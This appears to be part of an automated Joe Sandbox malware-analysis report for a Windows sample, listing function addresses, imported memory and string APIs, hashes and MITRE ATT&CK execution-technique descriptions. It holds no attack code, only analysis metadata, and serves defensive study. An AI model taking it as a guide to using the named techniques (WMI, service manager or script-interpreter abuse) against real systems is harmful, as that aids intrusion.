API String ID: 1294909896-1153420294
Opcode ID: f83450b56afee37c46f647a23c326d31c9929905e360993e1279dba9b38c8cf3
Instruction ID: 91300d3cbd70d3460d08abf4b53c86e033a4290b8e899beb4585a572c641a1fa
Opcode Fuzzy Hash: f83450b56afee37c46f647a23c326d31c9929905e360993e1279dba9b38c8cf3
Instruction Fuzzy Hash: 3331A361A2CB81D5EB64BF51D8406A9B390FB45B84FD60631CADD07249CF7CE647CB10

Function 00007FF747D8A64D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A688
memcpy.VCRUNTIME140 ref: 00007FF747D8A6AE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A7CF

Strings

TRUE, xrefs: 00007FF747D8A7D9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemallocmemcpy
String ID: TRUE
API String ID: 3056473165-3412697401
Opcode ID: 832afbf59ecc20a4234f36153a96e11bc8f9fb7faa3d461da38802b0e2ff7b07
Instruction ID: d9291a53dc20a8d24e7c51af1b94c0eb74cf83821b52cf5e1bc64e64431d73ca
Opcode Fuzzy Hash: 832afbf59ecc20a4234f36153a96e11bc8f9fb7faa3d461da38802b0e2ff7b07
Instruction Fuzzy Hash: B821C466B2D642C4EF15BB1699043749762BF84BE4F864632CE6D077C8DE7DD0838720

Function 00007FF747D89E4A Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D89E51
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A243
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A2BE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: isupper$_strdupfree
String ID:
API String ID: 3359907120-0
Opcode ID: 5a40e33412ecbbb1d7606b782d11246842ca4fc635551d6b9b88eb33d9efcf03
Instruction ID: c36f6e29f4432a57037fee7fa6d585a01ad98a3ec4bdf5fea33535bb6d71ee07
Opcode Fuzzy Hash: 5a40e33412ecbbb1d7606b782d11246842ca4fc635551d6b9b88eb33d9efcf03
Instruction Fuzzy Hash: B2210651E2D592C9FB32FB208504338EFD09F52B40FCA1731C69A51689CE2EA143CB30

Function 00007FF747D6C850 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D50DC9,?,?,?,?,00007FF747D5016B), ref: 00007FF747D6C878
GetEnvironmentVariableA.KERNEL32(?,?,?,00007FF747D50DC9,?,?,?,?,00007FF747D5016B), ref: 00007FF747D6C89E
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D50DC9,?,?,?,?,00007FF747D5016B), ref: 00007FF747D6C8BF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D50DC9,?,?,?,?,00007FF747D5016B), ref: 00007FF747D6C8D0

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: realloc$EnvironmentVariablefree
String ID:
API String ID: 2828309815-0
Opcode ID: cabc26addc2401d9eb1a58dc0410cf863a4dbc7c9db6dab5f18b53f72baa0c0e
Instruction ID: 5c016aecfbe607fca467af18b1594f6d22d9f3b72ade035c87eadf961541a913
Opcode Fuzzy Hash: cabc26addc2401d9eb1a58dc0410cf863a4dbc7c9db6dab5f18b53f72baa0c0e
Instruction Fuzzy Hash: 3A117321B1DB42C2EA70BB52654023AE391FB49FC0F984235DE5D53B98DE3CF4464B54

Function 00007FF747D62270 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622CA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622F3

Strings

Proxy-Connection: Keep-Alive, xrefs: 00007FF747D62280

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Proxy-Connection: Keep-Alive
API String ID: 1294909896-2835282938
Opcode ID: 3a9a473e6be16dc48f278ee67881fb5fe137b81527da702573c6769a82dec04a
Instruction ID: babbaf267bbd5558f99a2f3000a4c86a71ee04e884dca469e5bf5abf3927e862
Opcode Fuzzy Hash: 3a9a473e6be16dc48f278ee67881fb5fe137b81527da702573c6769a82dec04a
Instruction Fuzzy Hash: 5A01C462B09A41C2FA157F95A5403A9A260AF48BE0F448330DEA9077D8DF3CE886C760

Function 00007FF747D8DE60 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8DE86
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8DE97
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8DEC6

Part of subcall function 00007FF747D8DEF0: strchr.VCRUNTIME140(?,?,?,?,?,?,00000000,00000000,00000000,00007FF747D8DEB0), ref: 00007FF747D8DF5F

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8DEBD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree$strchr
String ID:
API String ID: 1739957132-0
Opcode ID: 0dd7f80735f85da8f984343497c1d3cfee0a952a3c0d7bbcc3984797b00619ee
Instruction ID: c2ee3a5f6c8852ebbe63e623dda451a0fbfd43be480b89177a058576a6432e8a
Opcode Fuzzy Hash: 0dd7f80735f85da8f984343497c1d3cfee0a952a3c0d7bbcc3984797b00619ee
Instruction Fuzzy Hash: E7015251B2D781C2EE5ABB5A65541389290AF4CFC0F880535DEAE47B88EE1CD8478B24

Function 00007FF747D6D7F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?,00000000,00007FF747D6D1D3), ref: 00007FF747D6D8C2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?,00000000,00007FF747D6D1D3), ref: 00007FF747D6D913

Strings

(){ %*], xrefs: 00007FF747D6D80D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupmalloc
String ID: (){ %*]
API String ID: 3515966317-731572209
Opcode ID: a2d67765c7a5dc4ec3c005a88b734144e7937f55b09edc6cecbb18d84dfcb0d8
Instruction ID: 56e53526ef15d13880c01eeff3bfad43b4c5652e26af7a0c426560967f462916
Opcode Fuzzy Hash: a2d67765c7a5dc4ec3c005a88b734144e7937f55b09edc6cecbb18d84dfcb0d8
Instruction Fuzzy Hash: A431051191DA86C4FF217A157444378AB91AF56B94FD8C331DA8F033C6DA2DA907CA21

Function 00007FF747D7F06F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F165
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F1C7

Strings

%ld, xrefs: 00007FF747D7F09C

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: %ld
API String ID: 1865132094-1112595699
Opcode ID: 9a0f07be874201d98365faa4423abb5b5fee152e51e2f861fb039d0b3822f29c
Instruction ID: 0d4066185eb4986c4059d1bcf210ff3b34191503b3c999360894193391e15680
Opcode Fuzzy Hash: 9a0f07be874201d98365faa4423abb5b5fee152e51e2f861fb039d0b3822f29c
Instruction Fuzzy Hash: A6316E22A1DA82C1FA79FB54D55037AA3A0AF44794F894235CE4D0B685EE2CE447CB31

Function 00007FF747D5AF90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5B009
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5B0A2

Strings

identity, xrefs: 00007FF747D5AFC4, 00007FF747D5B033, 00007FF747D5B09B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupmalloc
String ID: identity
API String ID: 3515966317-1788209604
Opcode ID: 955830b352c9912bb6b1e7167117c3f4fabc45b9668959debec1ba71c805b7e9
Instruction ID: a71067927a66facb14cc0394a3d6839257ea9857dc7bffb448aefe4bf23ed73c
Opcode Fuzzy Hash: 955830b352c9912bb6b1e7167117c3f4fabc45b9668959debec1ba71c805b7e9
Instruction Fuzzy Hash: 6F319061E2DA56C2EB11BB15D940379A7A0EF55BE4FCA4331DE2D17784EE2CE4428B20

Function 00007FF747D59600 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D59620
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5967B

Strings

, xrefs: 00007FF747D59633

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: mallocrealloc
String ID:
API String ID: 948496778-3916222277
Opcode ID: f007defbe466de477ca43de1dbeb36f93a3c148d42cae4483d77c4417899ba6d
Instruction ID: c27b10305b3fd90dc6d528cb6e61ea376fcc105ae6d1230eb297e48fc9264608
Opcode Fuzzy Hash: f007defbe466de477ca43de1dbeb36f93a3c148d42cae4483d77c4417899ba6d
Instruction Fuzzy Hash: C3118E72619B81C2EB48AF26E140269B3A0FB08FD4F844735DE5E07788EF38D996C750

Function 00007FF747D8A3D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A3DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A7CF

Strings

TRUE, xrefs: 00007FF747D8A7D9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: TRUE
API String ID: 1865132094-3412697401
Opcode ID: 9f7382e18b3041a3e93490953c45f0e4b0f4161914aac1650cb6f1c2e67001f6
Instruction ID: fdc67de00f44ea991a3a6d313c9bd2afb743999b0e756be3d14d6b82c38d004b
Opcode Fuzzy Hash: 9f7382e18b3041a3e93490953c45f0e4b0f4161914aac1650cb6f1c2e67001f6
Instruction Fuzzy Hash: 3E0192A6A1D655C4EB12BB51E900379A7B1BB44BD4FC64932CE5E06388DE7DD483CB20

Function 00007FF747D896E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D896EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D89B06

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

%s: %s, xrefs: 00007FF747D89AF1

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfreemalloc
String ID: %s: %s
API String ID: 3985033223-1451338302
Opcode ID: ce95b56a7c92656b16259ff00a4cfcc9f4106ba29798c8b37636380f06af6113
Instruction ID: 50e60b9dd0a6eee9c50320c96292cfe5dabecd04872f23b5c0a0a9ff2c10a453
Opcode Fuzzy Hash: ce95b56a7c92656b16259ff00a4cfcc9f4106ba29798c8b37636380f06af6113
Instruction Fuzzy Hash: 7CF04F51A2C781C2EA65BB52A8007F9A750BB45BD4FC90631CE9E1735ADF2CE147CB24

Function 00007FF747D4C510 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D46040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D50640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D42471), ref: 00007FF747D46067
Part of subcall function 00007FF747D46040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D50640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D42471), ref: 00007FF747D46073

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C546
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C556
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C564
memset.VCRUNTIME140 ref: 00007FF747D4C59F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$memset
String ID:
API String ID: 2717317152-0
Opcode ID: b476d781683bd605753166caffe2319fbc1c98f8906f10cc98198184c3fa0d6f
Instruction ID: f57950d4123a7ce233810528ee6cc7553a65f3875061d19048f212e0828c2855
Opcode Fuzzy Hash: b476d781683bd605753166caffe2319fbc1c98f8906f10cc98198184c3fa0d6f
Instruction Fuzzy Hash: 81210932E28B91E3E214EB22EA903A8A360F799744F519235EB9D53A55DF74F1F1C700

Function 00007FF747D8B720 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D6D5A3), ref: 00007FF747D8E6B6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D6D5A3), ref: 00007FF747D8E6D5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D6D5A3), ref: 00007FF747D8E6EF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D6D5A3), ref: 00007FF747D8E6FD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cceb363f3383bb9859af09066e7c5d0c6a7185a683f001f5595319a996bee7d
Instruction ID: 5e1db5809f722267643f496ce566695913b69163fde769d197ac10a3139542a0
Opcode Fuzzy Hash: 0cceb363f3383bb9859af09066e7c5d0c6a7185a683f001f5595319a996bee7d
Instruction Fuzzy Hash: 8311E926A1DB45C2EB54BF65E59033CA3A4FF94F84F954631CA5E027A8CE3CD852CB60

Function 00007FF747D73510 Relevance: 5.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D73548
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7356E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7358A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7359E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b3c3805f82caad35ddc01d018df6cc76f4a284c910c5e9ee53ad49d6aa0b3735
Instruction ID: 0fbb2e142e9e67caa6088efb7bcd21a1189cdf9381c0abc32fa28f0c1330531c
Opcode Fuzzy Hash: b3c3805f82caad35ddc01d018df6cc76f4a284c910c5e9ee53ad49d6aa0b3735
Instruction Fuzzy Hash: 4C113A36618B80C6D750AF65E580368B3A4F784F84F984135DF8E57328CF38E8A6C760

Function 00007FF747D85150 Relevance: 5.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D8124E), ref: 00007FF747D85176
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D8124E), ref: 00007FF747D85197
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D8124E), ref: 00007FF747D851B2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D8124E), ref: 00007FF747D851C0

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5c8853aa7cfb41fb736cb08fd9c58292c725a3a828156dd37d5180451661d39c
Instruction ID: d77eebe73a752330be4057c1818f2849604a2bb48bf46f6d672701d016907b5f
Opcode Fuzzy Hash: 5c8853aa7cfb41fb736cb08fd9c58292c725a3a828156dd37d5180451661d39c
Instruction Fuzzy Hash: 07119336628B45C2EB14AF66E99012CB3B9FB94F887540536CA5E43768CF38D852C7A0

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

